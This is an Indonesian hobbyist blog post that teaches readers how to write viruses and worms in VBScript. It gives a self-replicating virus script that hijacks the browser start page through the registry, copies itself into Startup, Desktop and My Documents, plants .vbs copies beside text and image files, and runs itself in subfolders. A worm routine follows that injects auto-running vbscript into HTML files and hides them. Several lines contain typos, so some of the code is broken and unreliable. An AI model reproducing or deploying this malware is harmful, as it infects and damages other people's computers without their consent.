Halo sobat o2nri2,,kali ini Liyan mau posting tentang Visual Basic, bahasa tingkat tinggi yang biasa digunakan untuk pemrograman database dan program utilty lantas bagaiman kalau visual basic ini kita kita gunakan untuk membuat spyware, virus bahkan keylogger,,wah kelihatan keren tu sobat o2nri2..
kayaknya to the point aja kali ya,,alnya ne bukan kelas <setiap hari di kelas basa-basi mulu>
pertama saya akan membahas tentang metode yang dimilki oleh vbs dalam penghandle-an folder
Membuat folder baru > FileSystemObject.CreateFolder
Menghapus folder > FileSystemObject.DeleteFolder
Memindah lokasi folder > FileSystemObject.MoveFolder
Mengcopy folder > FileSystemObject.CopyFolder
Mendapatkan folder2
istimewa > FileSystemObject.GetSpecialFolder
Mendapatkan nama folder
induk > FileSystemObject.GetParentFolderName
Mengambil objek folder > FileSystemObject.GetFolder
malas juga nulis tu metode ya udah supaya sobat o2nri2 ga nunggu2 lagi mending kita coba aja
pertamax : Menjalankan perintah DOS melalui VBS ;
1. Dim WSHShell, DOS
2. set WSHShell = Wscript..CreateObject(“Wscript.shell”)
3. DOS = WSHShell.ExpandEnvirontmentString(“%compspec%”)
4. WshShell.Run (DOS & “ /c Del c:\O2nri2.bat”)
second, Memanggil program lain :
1. dim jalan
2. set jalan = Wscript.CreateObject(“Wscript.shell”)
3. jalan.Run(“file yang ingin kita panggil”)
ketiga , Mengcopy diri kesuatu tempat ;
1. On error resume text
2. Dim fso, Induk
3. Set fso = Createobject(“Scriptting.FileSystemObject”)
4. Set Induk = fso.GetFile(Wscript.ScriptFullName)
5. induk.Copy (“c:\Liyanos.vbs”)
itu semua barulah dasar dari VBS, sekrang Liyan akan membahas proses pengembangan dari Vbs iitu sendiri,,kali ini Liyan akan mencoba untuk membuat sebuah virus dari bahasa tingkat tinggi VBS ini,,
isinya,,,
1. On error resume next
2. Dim WshShell, FSO, Induk, vPath, target, Lokasi
3. set WshShell = CreateObject(“Wscript.shell”)
4. set FSO = CreateObject(“Scripting.FileSystemObject”)
5. set Induk = FSO.GetFile(Wsript.ScriptFullName)
6.
7. WshShell.Regwrite “HKCU\Software]Microsoft\internet Explorer\Main\Start Page”,”http://o2nri2.blogspot.com/”
8.
9. Lokasi = WshShell.Specialfolders(“startup”)
10. Induk.Copy (Lokasi & “\oz.vbs”)
11.
12. lokasi = WshShell.SpecialFolders(“Dekstop”)
13. Induk.Copy (Lokasi & “Readme.vbs”)
14. InfectFolder Lokasi
15.
16. Lokasi =WshShell.SpecialFolders(“MyDocuments”)
17. Induk.Copy (Lokasi & “\Gambar.vbs”)
18. InfecctFoldser Lokasi
19.
20. vPath = Left(Induk, InStrRev(Induk, “\”))
21. For Each target in FSO.GetFolder(vPath).Files
22. If Right(target,3)=”txt” or Right(target,3)=”jpg” then Induk.Copy(target & “.vbs”)
23. Next
24.
25. Sub InfectFolder(Alamat)
26. on error resume text
27. For Each target in FSO.GetFolder(Alamat).SubFolders
28. Induk.Copy(target & “\Readme.vbs”)
29. WshShell.Run (target & “\Readme.vbs”)
30. Next
31. End sub
nah selanjutnya adalah bagaimana membuat worm
--------
Function KJAppendTo(FilePath,TypeStr)
On Error Resume Next
Set ReadTemp = FSO.OpenTextFile(FilePath,1)
TmpStr = ReadTemp.ReadAll
If Instr(TmpStr,"KJ_start()") <> 0 Or Len(TmpStr) < 1 Then
ReadTemp.Close
Exit Function
End If
If TypeStr = "htt" Then
ReadTemp.Close
Set FileTemp = FSO.OpenTextFile(FilePath,2)
FileTemp.Write "<" & "BODY onload=""" & "vbscript:" & "KJ_start()""" & ">" & vbCrLf & TmpStr & vbCrLf & HtmlText
FileTemp.Close
Set FAttrib = FSO.GetFile(FilePath)
FAttrib.attributes = 34
Else
ReadTemp.Close
Set FileTemp = FSO.OpenTextFile(FilePath,8)
If TypeStr = "html" Then
FileTemp.Write vbCrLf & "<" & "HTML>" & vbCrLf & "<" & "BODY onload=""" & "vbscript:" & "KJ_start()""" & ">" & vbCrLf & HtmlText
ElseIf TypeStr = "vbs" Then
FileTemp.Write vbCrLf & VbsText
End If
FileTemp.Close
End If
End Function
diatas adalah VBS yang coba saya manipulasi menjadi sebuah Virus dan worm,,seprtinya untuk orang yang bergelut di dunia underground sript seprti diatas sudah dikuasai dengan baik,,akan tetapi ingatlah jangan sombong terhadap kemampuan yang kita miliki <el nacko> dan ilmu itu harus di share karena gak akan berguna kalau tidak dishare, <ramiaji lamsari>
tambahn script diatas gak akan berguna di keluarga linux..
makanya sobat o2nri2 pake Linux > opensource geto...
selain VBS ada juga yang namanya VB6 alias Visual Basic 6, namun untuk menggunakannya dibutuhkan softwarenya lagi..contoh dari VB6 ini adalah Brontoks > weww
sampe ini dulu ya,, yang jelas kita gak akan belajar vbs terus koq, karena sobat o2nri2 akan diajak untuk share n learn bahasa pemrograman lainnya,,<follow me> kalo mau copas aja asal aja jangan copas blognya..hehehehe :D
bye,,@Liyan oz
facebook on http://www.facebook.com/Liyan.Hdr
special thanks to,..
· Allah S.W.T
· junia oz n mama..
· my friend on acceleration class
· my friend on underground world
· o2nri2 friend...
· thank you all..
